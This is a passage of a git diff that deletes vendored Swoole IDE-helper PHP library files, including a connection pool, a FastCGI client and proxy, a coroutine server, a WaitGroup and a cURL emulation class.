(is_array($value)) { - return static::detectArrayType($value); - } - return $value; - } - - protected static function detectStringType(string $value): StringObject - { - return new StringObject($value); - } - - /** - * @return static - */ - protected static function detectArrayType(array $value): self - { - return new static($value); - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/ConnectionPool.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/ConnectionPool.php deleted file mode 100644 index c37be02..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/ConnectionPool.php +++ /dev/null @@ -1,100 +0,0 @@ -pool = new Channel($this->size = $size); - $this->constructor = $constructor; - $this->num = 0; - $this->proxy = $proxy; - } - - public function fill(): void - { - while ($this->size > $this->num) { - $this->make(); - } - } - - public function get() - { - if ($this->pool === null) { - throw new RuntimeException('Pool has been closed'); - } - if ($this->pool->isEmpty() && $this->num < $this->size) { - $this->make(); - } - return $this->pool->pop(); - } - - public function put($connection): void - { - if ($this->pool === null) { - return; - } - if ($connection !== null) { - $this->pool->push($connection); - } else { - /* connection broken */ - $this->num -= 1; - $this->make(); - } - } - - public function close(): void - { - $this->pool->close(); - $this->pool = null; - $this->num = 0; - } - - protected function make(): void - { - $this->num++; - try { - if ($this->proxy) { - $connection = new $this->proxy($this->constructor); - } else { - $constructor = $this->constructor; - $connection = $constructor(); - } - } catch (Throwable $throwable) { - $this->num--; - throw $throwable; - } - $this->put($connection); - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Constant.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Constant.php deleted file mode 100644 index 9518873..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/Constant.php +++ /dev/null @@ -1,404 +0,0 @@ -timer != -1) { - Timer::clear($this->timer); - if (static::$cancel_list[$this->cid]) { - unset(static::$cancel_list[$this->cid]); - return; - } - } - if ($this->cid != -1) { - Coroutine::resume($this->cid); - } - } - - public static function make() - { - return new static(); - } - - /** - * @throws Exception - */ - public static function wait(Barrier &$barrier, float $timeout = -1) - { - if ($barrier->cid != -1) { - throw new Exception('The barrier is waiting, cannot wait again.'); - } - $cid = Coroutine::getCid(); - $barrier->cid = $cid; - if ($timeout > 0 && ($timeout_ms = intval($timeout * 1000)) > 0) { - $barrier->timer = Timer::after($timeout_ms, function () use ($cid) { - self::$cancel_list[$cid] = true; - Coroutine::resume($cid); - }); - } - $barrier = null; - Coroutine::yield(); - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/FastCGI/Client.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/FastCGI/Client.php deleted file mode 100644 index 861f65e..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/FastCGI/Client.php +++ /dev/null @@ -1,177 +0,0 @@ -af = AF_UNIX; - $host = '/' . ltrim(substr($host, strlen('unix:/')), '/'); - $port = 0; - } elseif (strpos($host, ':') !== false) { - $this->af = AF_INET6; - } else { - $this->af = AF_INET; - } - $this->host = $host; - $this->port = $port; - $this->ssl = $ssl; - } - - /** - * @throws Exception - * @return HttpResponse|Response - */ - public function execute(Request $request, float $timeout = -1): Response - { - if (!$this->socket) { - $this->socket = $socket = new Socket($this->af, SOCK_STREAM, IPPROTO_IP); - $socket->setProtocol([ - 'open_ssl' => $this->ssl, - 'open_fastcgi_protocol' => true, - ]); - if (!$socket->connect($this->host, $this->port, $timeout)) { - $this->ioException(); - } - } else { - $socket = $this->socket; - } - $sendData = (string) $request; - if ($socket->sendAll($sendData) !== strlen($sendData)) { - $this->ioException(); - } - $records = []; - while (true) { - if (SWOOLE_VERSION_ID < 40500) { - $recvData = ''; - while (true) { - $tmp = $socket->recv(8192, $timeout); - if (!$tmp) { - if ($tmp === '') { - $this->ioException(SOCKET_ECONNRESET); - } - $this->ioException(); - } - $recvData .= $tmp; - if (FrameParser::hasFrame($recvData)) { - break; - } - } - } else { - $recvData = $socket->recvPacket($timeout); - if (!$recvData) { - if ($recvData === '') { - $this->ioException(SOCKET_ECONNRESET); - } - $this->ioException(); - } - if (!FrameParser::hasFrame($recvData)) { - $this->ioException(SOCKET_EPROTO); - } - } - do { - $records[] = $record = FrameParser::parseFrame($recvData); - } while (strlen($recvData) !== 0); - if ($record instanceof EndRequest) { - if (!$request->getKeepConn()) { - $this->socket->close(); - $this->socket = null; - } - switch (true) { - case $request instanceof HttpRequest: - return new HttpResponse($records); - default: - return new Response($records); - } - } - } - /* never here */ - exit(1); - } - - public static function parseUrl(string $url): array - { - $url = parse_url($url); - $host = $url['host'] ?? ''; - $port = $url['port'] ?? 0; - if (empty($host)) { - $host = $url['path'] ?? ''; - if (empty($host)) { - throw new InvalidArgumentException('Invalid url'); - } - $host = "unix:/{$host}"; - } - return [$host, $port]; - } - - public static function call(string $url, string $path, $data = '', float $timeout = -1): string - { - $client = new Client(...static::parseUrl($url)); - $pathInfo = parse_url($path); - $path = $pathInfo['path'] ?? ''; - $root = dirname($path); - $scriptName = '/' . basename($path); - $documentUri = $scriptName; - $query = $pathInfo['query'] ?? ''; - $requestUri = $query ? "{$documentUri}?{$query}" : $documentUri; - $request = new HttpRequest(); - $request->withDocumentRoot($root) - ->withScriptFilename($path) - ->withScriptName($documentUri) - ->withDocumentUri($documentUri) - ->withRequestUri($requestUri) - ->withQueryString($query) - ->withBody($data) - ->withMethod($request->getContentLength() === 0 ? 'GET' : 'POST'); - $response = $client->execute($request, $timeout); - return $response->getBody(); - } - - protected function ioException(?int $errno = null): void - { - $socket = $this->socket; - if ($errno !== null) { - $socket->errCode = $errno; - $socket->errMsg = swoole_strerror($errno); - } - $socket->close(); - $this->socket = null; - throw new Exception($socket->errMsg, $socket->errCode); - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/FastCGI/Client/Exception.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/FastCGI/Client/Exception.php deleted file mode 100644 index 5ab5f41..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/FastCGI/Client/Exception.php +++ /dev/null @@ -1,16 +0,0 @@ -host, $this->port] = Client::parseUrl($url); - $this->documentRoot = $documentRoot; - $this->staticFileFilter = [$this, 'staticFileFiltrate']; - } - - public function withTimeout(float $timeout): self - { - $this->timeout = $timeout; - return $this; - } - - public function withHttps(bool $https): self - { - $this->https = $https; - return $this; - } - - public function withIndex(string $index): self - { - $this->index = $index; - return $this; - } - - public function getParam(string $name): ?string - { - return $this->params[$name] ?? null; - } - - public function withParam(string $name, string $value): self - { - $this->params[$name] = $value; - return $this; - } - - public function withoutParam(string $name): self - { - unset($this->params[$name]); - return $this; - } - - public function getParams(): array - { - return $this->params; - } - - public function withParams(array $params): self - { - $this->params = $params; - return $this; - } - - public function withAddedParams(array $params): self - { - $this->params = $params + $this->params; - return $this; - } - - public function withStaticFileFilter(?callable $filter): self - { - $this->staticFileFilter = $filter; - return $this; - } - - public function translateRequest($userRequest): HttpRequest - { - $request = new HttpRequest(); - if ($userRequest instanceof \Swoole\Http\Request) { - $server = $userRequest->server; - $headers = $userRequest->header; - $pathInfo = $userRequest->server['path_info']; - $pathInfo = '/' . (ltrim($pathInfo, '/')); - if (strlen($this->index) !== 0) { - $extension = pathinfo($pathInfo, PATHINFO_EXTENSION); - if (empty($extension)) { - $pathInfo = rtrim($pathInfo, '/') . '/' . $this->index; - } - } - $requestUri = $scriptName = $documentUri = $server['request_uri']; - $queryString = $server['query_string'] ?? ''; - if (strlen($queryString) !== 0) { - $requestUri .= "?{$server['query_string']}"; - } - $request - ->withDocumentRoot($this->documentRoot) - ->withScriptFilename($this->documentRoot . $pathInfo) - ->withScriptName($scriptName) - ->withDocumentUri($documentUri) - ->withServerProtocol($server['server_protocol']) - ->withServerAddr('127.0.0.1') - ->withServerPort($server['server_port']) - ->withRemoteAddr($server['remote_addr']) - ->withRemotePort($server['remote_port']) - ->withMethod($server['request_method']) - ->withRequestUri($requestUri) - ->withQueryString($queryString) - ->withContentType($headers['content-type'] ?? '') - ->withContentLength((int) ($headers['content-length'] ?? 0)) - ->withHeaders($headers) - ->withBody($userRequest->rawContent()) - ->withAddedParams($this->params); - if ($this->https) { - $request->withParam('HTTPS', '1'); - } - } else { - throw new InvalidArgumentException('Not supported on ' . get_class($userRequest)); - } - return $request; - } - - public function translateResponse(HttpResponse $response, $userResponse): void - { - if ($userResponse instanceof \Swoole\Http\Response) { - $userResponse->status($response->getStatusCode(), $response->getReasonPhrase()); - $userResponse->header = $response->getHeaders(); - $userResponse->cookie = $response->getSetCookieHeaderLines(); - $userResponse->end($response->getBody()); - } else { - throw new InvalidArgumentException('Not supported on ' . get_class($userResponse)); - } - } - - public function pass($userRequest, $userResponse): void - { - if (!($userRequest instanceof HttpRequest)) { - $request = $this->translateRequest($userRequest); - } else { - $request = $userRequest; - } - unset($userRequest); - if ($this->staticFileFilter) { - $filter = $this->staticFileFilter; - if ($filter($request, $userResponse)) { - return; - } - } - $client = new Client($this->host, $this->port); - $response = $client->execute($request, $this->timeout); - $this->translateResponse($response, $userResponse); - } - - /* @return bool ['hit' => true, 'miss' => false] */ - public function staticFileFiltrate(HttpRequest $request, $userResponse): bool - { - if ($userResponse instanceof \Swoole\Http\Response) { - $extension = pathinfo($request->getScriptFilename(), PATHINFO_EXTENSION); - if ($extension !== 'php') { - $realPath = realpath($request->getScriptFilename()); - if (!$realPath || strpos($realPath, $this->documentRoot) !== 0 || !is_file($realPath)) { - $userResponse->status(Http\Status::NOT_FOUND); - } else { - $userResponse->sendfile($realPath); - } - return true; - } - return false; - } - throw new InvalidArgumentException('Not supported on ' . get_class($userResponse)); - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/Server.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/Server.php deleted file mode 100644 index 6550497..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/Server.php +++ /dev/null @@ -1,153 +0,0 @@ -contains('::')) { - $this->type = AF_INET6; - } elseif ($_host->startsWith('unix:/')) { - $host = $_host->substr(5)->__toString(); - $this->type = AF_UNIX; - } else { - $this->type = AF_INET; - } - $this->host = $host; - - $socket = new Socket($this->type, SOCK_STREAM, 0); - if ($reuse_port and defined('SO_REUSEPORT')) { - $socket->setOption(SOL_SOCKET, SO_REUSEPORT, true); - } - if (!$socket->bind($this->host, $port)) { - throw new Exception("bind({$this->host}:{$port}) failed", $socket->errCode); - } - if (!$socket->listen()) { - throw new Exception('listen() failed', $socket->errCode); - } - $this->port = $socket->getsockname()['port'] ?? 0; - $this->fd = $socket->fd; - $this->socket = $socket; - $this->setting['open_ssl'] = $ssl; - } - - public function set(array $setting): void - { - $this->setting = array_merge($this->setting, $setting); - } - - public function handle(callable $fn): void - { - $this->fn = $fn; - } - - public function shutdown(): bool - { - $this->running = false; - return $this->socket->cancel(); - } - - public function start(): bool - { - $this->running = true; - if ($this->fn === null) { - $this->errCode = SOCKET_EINVAL; - return false; - } - $socket = $this->socket; - if (!$socket->setProtocol($this->setting)) { - $this->errCode = SOCKET_EINVAL; - return false; - } - - while ($this->running) { - /** @var Socket $conn */ - $conn = null; - $conn = $socket->accept(); - if ($conn) { - $conn->setProtocol($this->setting); - if (SWOOLE_COROUTINE_SOCKET_HAVE_SSL_HANDSHAKE && $this->setting['open_ssl'] ?? false) { - $fn = static function ($fn, $connection) { - /* @var $connection Connection */ - if (!$connection->exportSocket()->sslHandshake()) { - return; - } - $fn($connection); - }; - $arguments = [$this->fn, new Connection($conn)]; - } else { - $fn = $this->fn; - $arguments = [new Connection($conn)]; - } - if (Coroutine::create($fn, ...$arguments) < 0) { - goto _wait; - } - } else { - if ($socket->errCode == SOCKET_EMFILE or $socket->errCode == SOCKET_ENFILE) { - _wait: - Coroutine::sleep(1); - continue; - } - if ($socket->errCode == SOCKET_ETIMEDOUT) { - continue; - } - if ($socket->errCode == SOCKET_ECANCELED) { - break; - } - trigger_error("accept failed, Error: {$socket->errMsg}[{$socket->errCode}]", E_USER_WARNING); - break; - } - } - - return true; - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/Server/Connection.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/Server/Connection.php deleted file mode 100644 index 91c6cb4..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/Server/Connection.php +++ /dev/null @@ -1,44 +0,0 @@ -socket = $conn; - } - - public function recv(float $timeout = 0) - { - return $this->socket->recvPacket($timeout); - } - - public function send(string $data) - { - return $this->socket->sendAll($data); - } - - public function close(): bool - { - return $this->socket->close(); - } - - public function exportSocket(): Socket - { - return $this->socket; - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/WaitGroup.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/WaitGroup.php deleted file mode 100644 index f2b6a02..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/WaitGroup.php +++ /dev/null @@ -1,70 +0,0 @@ -chan = new Channel(1); - if ($delta > 0) { - $this->add($delta); - } - } - - public function add(int $delta = 1): void - { - if ($this->waiting) { - throw new BadMethodCallException('WaitGroup misuse: add called concurrently with wait'); - } - $count = $this->count + $delta; - if ($count < 0) { - throw new InvalidArgumentException('WaitGroup misuse: negative counter'); - } - $this->count = $count; - } - - public function done(): void - { - $count = $this->count - 1; - if ($count < 0) { - throw new BadMethodCallException('WaitGroup misuse: negative counter'); - } - $this->count = $count; - if ($count === 0 && $this->waiting) { - $this->chan->push(true); - } - } - - public function wait(float $timeout = -1): bool - { - if ($this->waiting) { - throw new BadMethodCallException('WaitGroup misuse: reused before previous wait has returned'); - } - if ($this->count > 0) { - $this->waiting = true; - $done = $this->chan->pop($timeout); - $this->waiting = false; - return $done; - } - return true; - } -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/functions.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/functions.php deleted file mode 100644 index 90a07e8..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/Coroutine/functions.php +++ /dev/null @@ -1,55 +0,0 @@ - $task) { - Coroutine::create(function () use ($wg, &$tasks, $id, $task) { - $tasks[$id] = null; - $tasks[$id] = $task(); - $wg->done(); - }); - } - $wg->wait($timeout); - return $tasks; -} - -function parallel(int $n, callable $fn): void -{ - $count = $n; - $wg = new WaitGroup($n); - while ($count--) { - Coroutine::create(function () use ($fn, $wg) { - $fn(); - $wg->done(); - }); - } - $wg->wait(); -} - -function map(array $list, callable $fn, float $timeout = -1): array -{ - $wg = new WaitGroup(count($list)); - foreach ($list as $id => $elem) { - Coroutine::create(function () use ($wg, &$list, $id, $elem, $fn): void { - $list[$id] = null; - $list[$id] = $fn($elem); - $wg->done(); - }); - } - $wg->wait($timeout); - return $list; -} diff --git a/vendor/swoole/ide-helper/output/swoole_library/src/core/Curl/Exception.php b/vendor/swoole/ide-helper/output/swoole_library/src/core/Curl/Exception.php deleted file mode 100644 index 36ca244..0000000 --- a/vendor/swoole/ide-helper/output/swoole_library/src/core/Curl/Exception.php +++ /dev/null @@ -1,18 +0,0 @@ - '', - 'content_type' => '', - 'http_code' => 0, - 'header_size' => 0, - 'request_size' => 0, - 'filetime' => -1, - 'ssl_verify_result' => 0, - 'redirect_count' => 0, - 'total_time' => 5.3E-5, - 'namelookup_time' => 0.0, - 'connect_time' => 0.0, - 'pretransfer_time' => 0.0, - 'size_upload' => 0.0, - 'size_download' => 0.0, - 'speed_download' => 0.0, - 'speed_upload' => 0.0, - 'download_content_length' => -1.0, - 'upload_content_length' => -1.0, - 'starttransfer_time' => 0.0, - 'redirect_time' => 0.0, - 'redirect_url' => '', - 'primary_ip' => '', - 'certinfo' => [], - 'primary_port' => 0, - 'local_ip' => '', - 'local_port' => 0, - 'http_version' => 0, - 'protocol' => 0, - 'ssl_verifyresult' => 0, - 'scheme' => '', - ]; - - private $withHeaderOut = false; - - private $withFileTime = false; - - private $urlInfo; - - private $postData; - - private $infile; - - private $infileSize = PHP_INT_MAX; - - private $outputStream; - - private $proxyType; - - private $proxy; - - private $proxyPort = 1080; - - private $proxyUsername; - - private $proxyPassword; - - private $clientOptions = []; - - private $followLocation = false; - - private $autoReferer = false; - - private $maxRedirects; - - private $withHeader = false; - - private $nobody = false; - - /** @var callable */ - private $headerFunction; - - /** @var callable */ - private $readFunction; - - /** @var callable */ - private $writeFunction; - - /** @var callable */ - private $progressFunction; - - private $returnTransfer = false; - - private $method = ''; - - private $headers = []; - - private $transfer; - - private $errCode = 0; - - private $errMsg = ''; - - private $failOnError = false; - - private $closed = false; - - public function __construct(string $url = '') - { - if ($url) { - $this->setUrl($url); - } - } - - public function __toString() - { - if (PHP_VERSION_ID < 70200) { - $id = spl_object_hash($this); - } else { - $id = spl_object_id($this); - } - return "Object({$id}) of type (curl)"; - } - - /* ====== Public APIs ====== */ - - public function isAvailable(): bool - { - if ($this->closed) { - trigger_error('supplied resource is not a valid cURL handle resource', E_USER_WARNING); - return false; - } - return true; - } - - public function setOpt(int $opt, $value): bool - { - return $this->isAvailable() and $this->setOption($opt, $value); - } - - public function exec() - { - if (!$this->isAvailable()) { - return false; - } - return $this->execute(); - } - - public function getInfo() - { - return $this->isAvailable() ? $this->info : false; - } - - public function errno() - { - return $this->isAvailable() ? $this->errCode : false; - } - - public function error() - { - return $this->isAvailable() ? $this->errMsg : false; - } - - public function reset() - { - if (!$this->isAvailable()) { - return false; - } - foreach ((new ReflectionClass(static::class))->getDefaultProperties() as $name => $value) { - $this->{$name} = $value; - } - } - - public function getContent() - { - if (!$this->isAvailable()) { - return false; - } - return $this->transfer; - } - - public function close() - { - if (!$this->isAvailable()) { - return false; - } - foreach ($this as &$property) { - $property = null; - } - $this->closed = true; - } - - private function create(?array $urlInfo = null): void - { - if ($urlInfo === null) { - $urlInfo = $this->urlInfo; - } - $this->client = new Client($urlInfo['host'], $urlInfo['port'], $urlInfo['scheme'] === 'https'); - } - - private function getUrl(): string - { - if (empty($this->urlInfo['path'])) { - $url = '/'; - } else { - $url = $this->urlInfo['path']; - } - if (!empty($this->urlInfo['query'])) { - $url .= '?' . $this->urlInfo['query']; - } - if (!empty($this->urlInfo['fragment'])) { - $url .= '#' . $this->urlInfo['fragment']; - } - return $url; - } - - private function setUrl(string $url, bool $setInfo = true): bool - { - if (strlen($url) === 0) { - $this->setError(CURLE_URL_MALFORMAT, 'No URL set!'); - return false; - } - if (strpos($url, '://') === false) { - $url = 'http://' . $url; - } - if ($setInfo) { - $urlInfo = parse_url($url); - if (!is_array($urlInfo)) { - $this->setError(CURLE_URL_MALFORMAT, "URL[{$url}] using bad/illegal format"); - return false; - } - if (!$this->setUrlInfo($urlInfo)) { - return false; - } - } - $this->info['url'] = $url; - return true; - } - - private function setUrlInfo(array $urlInfo): bool - { - if (empty($urlInfo['scheme'])) { - $urlInfo['scheme'] = 'http'; - } - $scheme = $urlInfo['scheme']; - if ($scheme !== 'http' and $scheme !== 'https') { - $this->setError(CURLE_UNSUPPORTED_PROTOCOL, "Protocol \"{$scheme}\" not supported or disabled in libcurl"); - return false; - } - $host = $urlInfo['host']; - if ($this->info['primary_port'] !== 0) { - /* keep same with cURL, primary_port has the highest priority */ - $urlInfo['port'] = $this->info['primary_port']; - } elseif (empty($urlInfo['port'])) { - $urlInfo['port'] = $scheme === 'https' ? 443 : 80; - } else { - $urlInfo['port'] = intval($urlInfo['port']); - } - $port = $urlInfo['port']; - if ($this->client) { - $oldUrlInfo = $this->urlInfo; - if ( - $host !== $oldUrlInfo['host'] or - $port !== $oldUrlInfo['port'] or - $scheme !== $oldUrlInfo['scheme'] - ) { - /* target changed */ - $this->create($urlInfo); - } - } - $this->urlInfo = $urlInfo; - return true; - } - - private function setPort(int $port): void - { - $this->info['primary_port'] = $port; - if ($this->urlInfo['port'] !== $port) { - $this->urlInfo['port'] = $port; - if ($this->client) { - /* target changed */ - $this->create(); - } - } - } - - private function setError($code, $msg = ''): void - { - $this->errCode = $code; - $this->errMsg = $msg ? $msg : curl_strerror($code); - } - - /** - * @param mixed $value - * @throws Swoole\Curl\Exception - */ - private function setOption(int $opt, $value): bool - { - switch ($opt) { - // case CURLOPT_STDERR: - // case CURLOPT_WRITEHEADER: - case CURLOPT_FILE: - case CURLOPT_INFILE: - if (!is_resource($value)) { - trigger_error(E_USER_WARNING, 'swoole_curl_setopt(): supplied argument is not a valid File-Handle resource'); - return false; - } - break; - } - - switch ($opt) { - /* - * Basic - */ - case CURLOPT_URL: - return $this->setUrl((string) $value); - case CURLOPT_PORT: - $this->setPort((int) $value); - break; - case CURLOPT_FORBID_REUSE: - $this->clientOptions[Constant::OPTION_KEEP_ALIVE] = !$value; - break; - case CURLOPT_RETURNTRANSFER: - $this->returnTransfer = $value; - $this->transfer = ''; - break; - case CURLOPT_ENCODING: - if (empty($value)) { - if (defined('SWOOLE_HAVE_ZLIB')) { - $value = 'gzip, deflate'; - } - if (defined('SWOOLE_HAVE_BROTLI')) { - if (!empty($value)) { - $value = 'br, ' . $value; - } else { - $value = 'br'; - } - } - if (empty($value)) { - break; - } - } - $this->headers['Accept-Encoding'] = $value; - break; - case CURLOPT_PROXYTYPE: - if ($value !== CURLPROXY_HTTP and $value !== CURLPROXY_SOCKS5) { - throw new Swoole\Curl\Exception( - 'swoole_curl_setopt(): Only support following CURLOPT_PROXYTYPE values: CURLPROXY_HTTP, CURLPROXY_SOCKS5' - ); - } - $this->proxyType = $value; - break; - case CURLOPT_PROXY: - $this->proxy = $value; - break; - case CURLOPT_PROXYPORT: - $this->proxyPort = $value; - break; - case CURLOPT_PROXYUSERNAME: - $this->proxyUsername = $value; - break; - case CURLOPT_PROXYPASSWORD: - $this->proxyPassword = $value; - break; - case CURLOPT_PROXYUSERPWD: - $usernamePassword = explode(':', $value); - $this->proxyUsername = urldecode($usernamePassword[0]); - $this->proxyPassword = urldecode($usernamePassword[1] ?? null); - break; - case CURLOPT_PROXYAUTH: - /* ignored temporarily */ - break; - case CURLOPT_NOBODY: - $this->nobody = boolval($value); - $this->method = 'HEAD'; - break; - case CURLOPT_IPRESOLVE: - if ($value !== CURL_IPRESOLVE_WHATEVER and $value !== CURL_IPRESOLVE_V4) { - throw new Swoole\Curl\Exception( - 'swoole_curl_setopt(): Only support following CURLOPT_IPRESOLVE values: CURL_IPRESOLVE_WHATEVER, CURL_IPRESOLVE_V4' - ); - } - break; - /* - * Ignore options - */ - case CURLOPT_VERBOSE: - // trigger_error(E_USER_WARNING, 'swoole_curl_setopt(): CURLOPT_VERBOSE is not supported'); - case CURLOPT_SSLVERSION: - case CURLOPT_NOSIGNAL: - case CURLOPT_FRESH_CONNECT: - /* - * From PHP 5.1.3, this option has no effect: the raw output will always be returned when CURLOPT_RETURNTRANSFER is used. - */ - case CURLOPT_BINARYTRANSFER: /* TODO */ - case CURLOPT_DNS_USE_GLOBAL_CACHE: - case CURLOPT_DNS_CACHE_TIMEOUT: - case CURLOPT_STDERR: - case CURLOPT_WRITEHEADER: - case CURLOPT_BUFFERSIZE: - case CURLOPT_SSLCERTTYPE: - case CURLOPT_SSLKEYTYPE: - break; - /* - * SSL - */ - case CURLOPT_SSL_VERIFYHOST: - break; - case CURLOPT_SSL_VERIFYPEER: - $this->clientOptions[Constant::OPTION_SSL_VERIFY_PEER] = $value; - break; - case CURLOPT_SSLCERT: - $this->clientOptions[Constant::OPTION_SSL_CERT_FILE] = $value; - break; - case CURLOPT_SSLKEY: - $this->clientOptions[Constant::OPTION_SSL_KEY_FILE] = $value; - break; - case CURLOPT_CAINFO: - $this->clientOptions[Constant::OPTION_SSL_CAFILE] = $value; - break; - case CURLOPT_CAPATH: - $this->clientOptions[Constant::OPTION_SSL_CAPATH] = $value; - break; - /* - * Http POST - */ - case CURLOPT_POST: - $this->method = 'POST'; - break; - case CURLOPT_POSTFIELDS: - $this->postData = $value; - if (!$this->method) { - $this->method = 'POST'; - } - break; - /* - * Upload - */ - case CURLOPT_SAFE_UPLOAD: - if (!$value) { - trigger_error('swoole_curl_setopt(): Disabling safe uploads is no longer supported', E_USER_WARNING); - return false; - } - break; - /* - * Http Header - */ - case CURLOPT_HTTPHEADER: - if (!is_array($value) and !is_iterable($value)) { - trigger_error('swoole_curl_setopt(): You must pass either an object or an array with the CURLOPT_HTTPHEADER argument', E_USER_WARNING); - return false; - } - foreach ($value as $header) { - $header = explode(':', $header, 2); - $headerName = $header[0]; - $headerValue = trim($header[1] ?? ''); - if (strlen($headerValue) === 0) { - continue; - } - $this->headers[$headerName] = $headerValue; - } - break; - case CURLOPT_REFERER: - $this->headers['Referer'] = $value; - break; - case CURLINFO_HEADER_OUT: - $this->withHeaderOut = boolval($value); - break; - case CURLOPT_FILETIME: - $this->withFileTime = boolval($value); - break; - case CURLOPT_USERAGENT: - $this->headers['User-Agent'] = $value; - break; - case CURLOPT_CUSTOMREQUEST: - $this->method = (string) $value; - break; - case CURLOPT_PROTOCOLS: - if (($value & ~(CURLPROTO_HTTP | CURLPROTO_HTTPS)) != 0) { - throw new CurlException("swoole_curl_setopt(): CURLOPT_PROTOCOLS[{$value}] is not supported"); - } - break; - case CURLOPT_REDIR_PROTOCOLS: - if (($value & ~(CURLPROTO_HTTP | CURLPROTO_HTTPS)) != 0) { - throw new CurlException("swoole_curl_setopt(): CURLOPT_REDIR_PROTOCOLS[{$value}] is not supported"); - } - break; - case CURLOPT_HTTP_VERSION: - if ($value != CURL_HTTP_VERSION_1_1) { - trigger_error("swoole_curl_setopt(): CURLOPT_HTTP_VERSION[{$value}] is not supported", E_USER_WARNING); - return false; - } - break; - case CURLOPT_FAILONERROR: - $this->failOnError = $value; - break; - /* - * Http Cookie - */ - case CURLOPT_COOKIE: - $this->headers['Cookie'] = $value; - break; - case CURLOPT_CONNECTTIMEOUT: - $this->clientOptions[Constant::OPTION_CONNECT_TIMEOUT] = $value; - break; - case CURLOPT_CONNECTTIMEOUT_MS: - $this->clientOptions[Constant::OPTION_CONNECT_TIMEOUT] = $value / 1000; - break; - case CURLOPT_TIMEOUT: - $this->clientOptions[Constant::OPTION_TIMEOUT] = $value; - break; - case CURLOPT_TIMEOUT_MS: - $this->clientOptions[Constant::OPTION_TIMEOUT] = $value / 1000; - break; - case CURLOPT_FILE: - $this->outputStream = $value; - break; - case CURLOPT_HEADER: - $this->withHeader = $value; - break; - case CURLOPT_HEADERFUNCTION: - $this->headerFunction = $value; - break; - case CURLOPT_READFUNCTION: - $this->readFunction = $value; - break; - case CURLOPT_WRITEFUNCTION: - $this->writeFunction = $value; - break; - case CURLOPT_PROGRESSFUNCTION: - $this->progressFunction = $value; - break; - case CURLOPT_HTTPAUTH: - if (!($value & CURLAUTH_BASIC)) { - trigger_error("swoole_curl_setopt(): CURLOPT_HTTPAUTH[{$value}] is not supported", E_USER_WARNING); - return false; - } - break; - case CURLOPT_USERPWD: - $this->headers['Authorization'] = 'Basic ' . base64_encode($value); - break; - case CURLOPT_FOLLOWLOCATION: - $this->followLocation = $value; - break; - case CURLOPT_AUTOREFERER: - $this->autoReferer = $value; - break; - case CURLOPT_MAXREDIRS: - $this->maxRedirects = $value; - break; - case CURLOPT_PUT: - case CURLOPT_UPLOAD: - /* after libcurl 7.12, CURLOPT_PUT is replaced by CURLOPT_UPLOAD */ - $this->method = 'PUT'; - break; - case CURLOPT_INFILE: - $this->infile = $value; - break; - case CURLOPT_INFILESIZE: - $this->infileSize = $value; - break; - case CURLOPT_HTTPGET: - /* Since GET is the default, this is only necessary if the request method has been changed. */ - $this->method = 'GET'; - break; - default: - throw new Swoole\Curl\Exception("swoole_curl_setopt(): option[{$opt}] is not supported"); - } - return true; - } - - private function execute() - { - $this->info['redirect_count'] = $this->info['starttransfer_time'] = 0; - $this->info['redirect_url'] = ''; - $timeBegin = microtime(true); - /* - * Socket - */ - if (!$this->urlInfo) { - $this->setError(CURLE_URL_MALFORMAT, 'No URL set or URL using bad/illegal format'); - return false; - } - if (!$this->client) { - $this->create(); - } - do { - $client = $this->client; - /* - * Http Proxy - */ - if ($this->proxy) { - $proxy = explode(':', $this->proxy); - $proxyPort = $proxy[1] ?? $this->proxyPort; - $proxy = $proxy[0]; - if (!filter_var($proxy, FILTER_VALIDATE_IP)) { - $ip = Swoole\Coroutine::gethostbyname($proxy, AF_INET, $this->clientOptions['connect_timeout'] ?? -1); - if (!$ip) { - $this->setError(CURLE_COULDNT_RESOLVE_PROXY, 'Could not resolve proxy: ' . $proxy); - return false; - } - $this->proxy = $proxy = $ip; - } - switch ($this->proxyType) { - case CURLPROXY_HTTP: - $proxyOptions = [ - 'http_proxy_host' => $proxy, - 'http_proxy_port' => $proxyPort, - 'http_proxy_username' => $this->proxyUsername, - 'http_proxy_password' => $this->proxyPassword, - ]; - break; - case CURLPROXY_SOCKS5: - $proxyOptions = [ - 'socks5_host' => $proxy, - 'socks5_port' => $proxyPort, - 'socks5_username' => $this->proxyUsername, - 'socks5_password' => $this->proxyPassword, - ]; - break; - default: - throw new CurlException("Unexpected proxy type [{$this->proxyType}]"); - } - } - /* - * Client Options - */ - $client->set( - $this->clientOptions + - ($proxyOptions ?? []) - ); - /* - * Method - */ - if ($this->method) { - $client->setMethod($this->method); - } - /* - * Data - */ - if ($this->infile) { - // Infile - // Notice: we make its priority higher than postData but raw cURL will send both of them - $data = ''; - while (true) { - $nLength = $this->infileSize - strlen($data); - if ($nLength === 0) { - break; - } - if (feof($this->infile)) { - break; - } - $data .= fread($this->infile, $nLength); - } - $client->setData($data); - // Notice: although we reset it, raw cURL never do this - $this->infile = null; - $this->infileSize = PHP_INT_MAX; - } else { - // POST data - if ($this->postData) { - if (is_string($this->postData)) { - if (empty($this->headers['Content-Type'])) { - 